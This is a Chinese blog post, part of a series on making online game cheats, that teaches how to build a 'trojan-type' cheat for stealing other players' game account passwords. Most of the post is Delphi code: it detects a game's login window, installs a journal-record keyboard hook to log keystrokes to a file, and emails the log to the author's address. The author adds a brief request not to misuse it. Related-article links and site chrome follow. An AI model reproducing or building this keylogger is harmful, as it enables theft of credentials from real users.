网络游戏外挂制作之我所见(4)

开始看网络游戏外挂制作类书 一些文章﹐對你有用﹗网络游戏外挂编写初级教程 http://www.youkuaiyun.com/develop/article/21/21361.shtm网络游戏外挂制作之我所见(1) http://www.youkuaiyun.com/Develop/Read_Article.asp?Id=17641网络游戏外挂制作之我所见(2) http://www.youkuaiyun.com/Develop/Read_Articl 阅读详情

以前介绍过的动作式,本地修改式外挂是真正意义上的外挂,而今天本文要介绍的木马式外挂,可能大多像木马吧,是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂的存在,所以今天不得不说一下(我个人是非常讨厌这类外挂的,请看过本文的朋友不要到处乱用此技术,谢谢合作)。要做此类外挂的程序实现方法很多(比如HOOK,键盘监视等技术),因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库,所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视,这个程序用这种技术来实现比较适合。
    在做程序之前我们必需要了解一下程序的思路:
    1、我们首先知道你想记录游戏的登录窗口名称。
    2、判断登录窗口是否出现。
    3、如果登录窗口出现,就记录键盘。
    4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。
    第一点我就不具体分析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名称是什么。从第二点开始,我们就开始这类外挂的程序实现之旅:
    那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函数就可以很轻松的实现了:
    HWND FindWindow(

      LPCTSTR lpClassName, // pointer to class name
      LPCTSTR lpWindowName  // pointer to window name
     );
    实际程序实现中,我们要找到'xx'窗口,就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口已经出现,那么我们就可以对键盘信息进行记录了。
    先首我们用SetWindowsHookEx设置监视日志,而该函数的用法如下:
HHOOK SetWindowsHookEx(

    int idHook, // type of hook to install
    HOOKPROC lpfn, // address of hook procedure
    HINSTANCE hMod, // handle of application instance
    DWORD dwThreadId  // identity of thread to install hook for
   ); 
    在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了,具体实现方法为:
hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
    而HOOKPROC里的函数就要复杂一点点:
function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
 if findedtitle then   file://如果发现窗口后
 begin
  if (peventmsg(lparam)^.message = WM_KEYDOWN) then  file://消息等于键盘按下
   hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); file://通过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。
  if length(hookkey) > 0 then  file://如果获得按键名称
  begin
   Write(hookkeyFile,hookkey); file://把按键名称写入文本文件
   hookkey := '';
  end;
 end;
end;
    以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,UnHookWindowsHookEx(hHook),而hHOOK,就是创建setwindowshookex后所返回的句柄。
    我们已经得到了键盘的记录,那么现在最后只要把记录的这些信息发送回来,我们就大功造成了。其他发送这块并不是很难,只要把记录从文本文件里边读出来,用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下:
   assignfile(ReadFile,'hook.txt'); file://打开hook.txt这个文本文件
   reset(ReadFile); file://设为读取方式
   try
    While not Eof(ReadFile) do file://当没有读到文件尾
    begin
     Readln(ReadFile,s,j); file://读取文件行
     body:=body+s;
    end;
   finally
    closefile(ReadFile); file://关闭文件
   end;
   nmsmtp1.EncodeType:=uuMime; file://设置编码
   nmsmtp1.PostMessage.Attachments.Text:=''; file://设置附件
   nmsmtp1.PostMessage.FromAddress:='XXX@XXX.com'; file://设置源邮件地址
   nmsmtp1.PostMessage.ToAddress.Text:='XXX@XXX.com'; /设置目标邮件地址
   nmsmtp1.PostMessage.Body.Text:='密码'+' '+body; file://设置邮件内容
   nmsmtp1.PostMessage.Subject:='password'; file://设置邮件标题
   nmsmtp1.SendMail; file://发送邮件
    这个程序全部功能已经实现,编编试试~~~对了,我以前写的类似的作品可以在www.playicq.com上找得到。
    (其实做一个这样的东东也不难,基本也是说不上什么技术可言。希望大看我的文章后不要到处乱应用呀~~~~小生在此有礼了~~~)

版权说明:
您可以随意复制、分发、下载此文档。但未经本人同意,您不可以截取、改动本文片断,或用本文谋取任何形式的利益。

游戏外挂制作 VB 为什么要学制作外挂   学习制作外挂,其实是学习一门网络技术,不是仅仅是游戏!  我们玩游戏,游戏公司玩我们,你可以忍受游戏的不平衡吗?你可以忍受游戏的BUG吗,你愿意交钱去买外挂(有时后还可能上当受骗)吗?你不愿意自己做外挂自己用吗?你不愿意做几个外挂给你的朋友使用吗?你不愿意体验制作外挂的乐趣吗?你不愿意自己的游戏ID有很多钱,很好的装备,很高的等级吗?看到别人拿着外挂到处 阅读详情

相关推荐

delphi外挂制作

KeyLife富翁笔记 (此作品参加“Borland ALM 产品开发者竞赛参赛”,请大家给他打分。) 作者: 微程标题: Delphi深度之旅——网络游戏外挂制作 关键字: 外挂,API,Delphi,游戏 分类: 开发经验 密级: 参赛 (评分:★★★★★ , 回复: 37, 阅读: 8595) »»昆明 刘悦 在几年前我看到别人玩网络游戏用上了外挂,做为程序员的我心里实在是不爽,想搞

goldkiss99的专栏 2102

线程注入、HOOK APIs(附VC6源码)

工作关系,想HOOK并修改一些API,使得不支持某些设备的第三方工具可以正常运行,因此花时间写了这么个工具。比如ReadFile时,某些设备不支持指定的缓存大小(如512KB),可以HOOK ReadFile,把缓存大小修改为更小,可能ReadFile就能正常工作,第三方工具也能正常使用。其实,只是想借工作这个契机,学习远程线程注入和HOOK API。工作上测试的设备和第三方工具运行在64位机

BeanJoy的专栏 9596

网络游戏外挂编写初级教程

做自己喜欢的! ------ 明天你来自己做外挂 随着网络游戏的日益火爆,很多玩家都投身到游戏中。目前很多玩家都依赖于一些游戏的外挂程序来进行游戏。那么做一个游戏的外挂程序是否是一件很困难的事呢?回答是"否",诚然编写一些程序是需要一些基本知识的,所以我们想以最简单的语言来给你讲授编写外挂程序的一些技巧,一些方法,并提供给你一些基本的辅助工具,即使你是一个菜鸟,看了我们的教程,并技巧地使用我们提供

天之剑 1868

notepad hook

0x00前言 昨天花了半天写了个四不像的玩意儿,本来打算以恶意代码的方式去写,但今天不怎么想完 善功能了,所以全局hook和自删除之类的就没有了(其实是debug太麻烦。),结果就是这 个程序很沙雕,你必须先打开记事本再运行它才行。不过获取记事本信息是没什么问题的。 0x01行为 完全是想到什么写什么,所以有些功能完全没发挥作用呢。。 PS:这里所有生成的文件都存放在你的C:/User...

40KO的博客 682

网络游戏外挂分类及实例

网络游戏外挂分类及实例外挂无非就是分几种罢了(依制作难度):1、动作式,所谓动作式,就是指用API发命令给窗口或API控 制鼠标、键盘等,使游戏里的人物进行流动或者攻击,最早以前的“石器”外挂就是这种方式。(这种外挂完全是垃圾,TMD,只要会一点点API的人都知道该 怎么做,不过这种外挂也是入门级的好东东,虽然不能提高你的战斗力,但是可以提高你的士气^_^)2、本地修改式,这种外挂跟传统上的一 些

chengqing_1986的专栏 2264

游戏外挂制作指南 (一)

要想在修改游戏中做到百战百胜,是需要相当丰富的计算机知识的。有很多计算机高手就是从玩游戏,修改游戏中,逐步对计算机产生浓厚的兴趣,逐步成长起来的。不要在羡慕别人能够做到的,因为别人能够做的你也能够!我相信你们看了本教程后,会对游戏有一个全新的认识,呵呵,因为我是个好老师!(别拿鸡蛋砸我呀,救命啊!#¥%……*) 不过要想从修改游戏中学到知识,增加自己的计算机水平,可不能只是靠修改游戏呀!要知道,修

林阴小曲 5486

采用个hook技术对writefile函数进行拦截(2)

http://www.cnblogs.com/zhxfl/archive/2011/11/03/2233846.html 这个是笔者之前写过的WriteFile HOOK代码 必须补充对这几个函数的HOOK,才能对WriteFile的所有操作做“比较彻底的拦截”,笔者知道应用层的拦截很容易出现遗漏的,只有编写驱动做文件过滤才会有比较好的效果,不过在实...

weixin_33739646的博客 493

游戏外挂的原理

开篇之前先来点题外话,我的第一篇博客,和技术无关,不喜勿喷,除了偶尔玩玩王者之外大型的网络游戏不玩,所以文中说的不对的地方,欢迎到评论区指正。 最近这段时间看大家玩《绝地求生》玩的挺火的,还有挺多的外挂,由于遇到不明白的问题比较喜欢琢磨,所以这几天查了好多资料对外挂的原理进行了一个大概的了解 外挂(开源)具体可以实现什么操作? 还是以绝地求生为例 开源代码可以实时透

林栖者—戏梦如生 7877

网络游戏外挂与反外挂的研究

网络游戏行业作为互联网新兴产业代表之一,在其高速成长的同时,也饱受安全问题的侵害。今年热门的《绝地求生》,更是外挂肆虐,导致用户大量流失,严重损害了开发商的利益和该行业的健康发展。研究本课题正是为了能够寻找出解决当前游戏开发商所面临困难的途径,维护网络游戏健康稳定的发展,给该行业的发展提供有力的保障。

qq_17347313的博客 1万+

Hook Api,hook ReadFile,hook WriteFile,hook LoadLibrary

hook api,hook CreateFile,hook CloseHandle,hook ReadFile,hook WriteFile,hook LoadLibrary

Delphi实现各种HOOK钩子源码实例.rar

Delphi的9个钩子实例源码:CopyHook+利用Hook在Explorer进程插入一个线程+全局快捷键HOOK+消息HOOK+鼠标HOOK+IO HOOK+鼠标键盘记录HOOK

网络游戏外挂制作

原 作 者:不详原 出 处:不详    在几年前我看到别人玩网络游戏用上了外挂,做为程序员的我心里实在是不爽,想搞清楚这到底是怎么回事。就拿了一些来研究,小有心得,拿出来与大家共享,外挂无非就是分几种罢了(依制作难度):1、动作式,所谓动作式,就是指用API发命令给窗口或API控制鼠标、键盘等,使游戏里的人物进行流动或者攻击,最早以前的“石器”外挂就是这

dayong576的专栏 4310

Minecraft Forge模组开发入门:从环境搭建到事件监听实战

事件驱动编程是一种基于事件和事件监听器的软件架构模式,其核心原理是通过事件总线实现组件间的松耦合通信。在游戏开发领域,这种模式能够有效处理玩家交互、状态变更等异步操作,具有高度的灵活性和可扩展性。Java作为面向对象编程语言,通过注解和反射机制为事件驱动提供了天然支持。Minecraft模组开发正是事件驱动编程的典型应用场景,开发者可以利用Forge框架提供的事件总线监听游戏内各种行为。本文以Minecraft Forge模组开发为例,详细讲解如何通过Gradle构建工具搭建开发环境,并实现自定义方块注册和

culi3182的博客 395

外挂制作教程一

制作外挂的可行性             首先,让我们来看一下网络游戏的工作原理:   网络游戏是这样工作的: 1.由服务器记录保存所有用户资料,所有信息的修改都是服务器完成的 2.服务器接受客户机的请求发送必要的信息给客户机,以使玩家正常游戏 3.服务器接收客户机的信息反馈,并根据反馈信息,对游戏帐号作相应修改   从以上简单的介绍,我们可以看出,网络游戏可以认为是这样工作的:   由客户机电脑

lijingli10的专栏 6739

OnePlus线刷救砖与OTA全量包:从故障恢复到系统升级的完整指南

本文详细介绍了OnePlus手机线刷救砖与OTA全量包的完整操作指南,包括故障诊断、线刷救砖实战教程、OTA全量包升级优势及进阶玩法。通过具体案例和实用技巧,帮助用户从系统故障恢复到安全升级,特别适合Android系统爱好者和OnePlus用户。

weixin_30338481的博客 624

易灵思Trion FPGA实战:5分钟搞定MIPI硬核配置(附Interface Designer避坑指南)

本文详细介绍了易灵思Trion FPGA中MIPI硬核的快速配置方法,通过Interface Designer工具实现从时钟配置到数据收发的全流程实战。特别针对初次接触Trion系列的设计师,提供了六个关键配置陷阱及解决方案,帮助开发者高效完成嵌入式视觉和高速数据传输项目。

eee77的博客 791

网络游戏外挂制作 (转贴)

在几年前我看到别人玩网络游戏用上了外挂,做为程序员的我心里实在是不爽,想搞清楚这到底是怎么回事。就拿了一些来研究,小有心得,拿出来与大家共享,外挂无非就是分几种罢了(依制作难度):1、动作式,所谓动作式,就是指用API发命令给窗口或API控制鼠标、键盘等,使游戏里的人物进行流动或者攻击,最早以前的“石器”外挂就是这种方式。(这种外挂完全是垃圾,TMD,只要会一点点API的人都知道该怎么做,不过这种

pipilang的专栏 1819

深入浅出SCSI子系统(一)Linux 内核中的 SCSI 架构

scsi系统

sinat_37817094的博客 6489

Delphi深度之旅——网络游戏外挂制作

Delphi深度之旅——网络游戏外挂制作

yesloo的专栏 1751

OpenHarmony之Histreamer引擎深度解析:pipeline_core架构如何全面取代GStreamer,一统音视频播放与录制

Histreamer是OpenHarmony多媒体框架的核心媒体引擎,采用架构设计。一个轻量级的媒体引擎组件,提供播放、录制等场景的媒体数据流水线处理。1.播放场景分为如下几个节点:数据源读取、解封装、解码、输出;2.录制场景分为如下几个节点:数据源读取、编码、封装、输出。该引擎从OH5.0开始取代了原有的媒体引擎gstreamer(部分文档还保留较老架构的讲解),提供统一的音视频播放、录制、元数据解析等能力。

m0_67505153的博客 333

【声纳技术】声呐时间反转镜技术:从被动聚焦到主动空间复用

时间反转镜技术以其独特的物理机制,为水声通信与声呐探测提供了一条绕过传统自适应均衡器的新路径。被动时间反转利用接收端的空间分集实现脉冲压缩,结构简洁、计算高效;主动时间反转则通过发射端预编码,将多径能量引导至目标位置,为多用户下行链路的空间复用奠定了物理基础。从Kuperman等人在海洋中首次验证声学时间反转镜,到TR-MIMO声呐的湖试验证,再到VTRM-CRK多用户通信系统的海试成功,该技术已从理论概念逐步走向工程实用。

u012133341的博客 55
上一篇: 网络游戏外挂制作之我所见(2)
下一篇: 网络游戏外挂制作之我所见(1)
mprogramer
博客等级 码龄24年 29粉丝 12原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值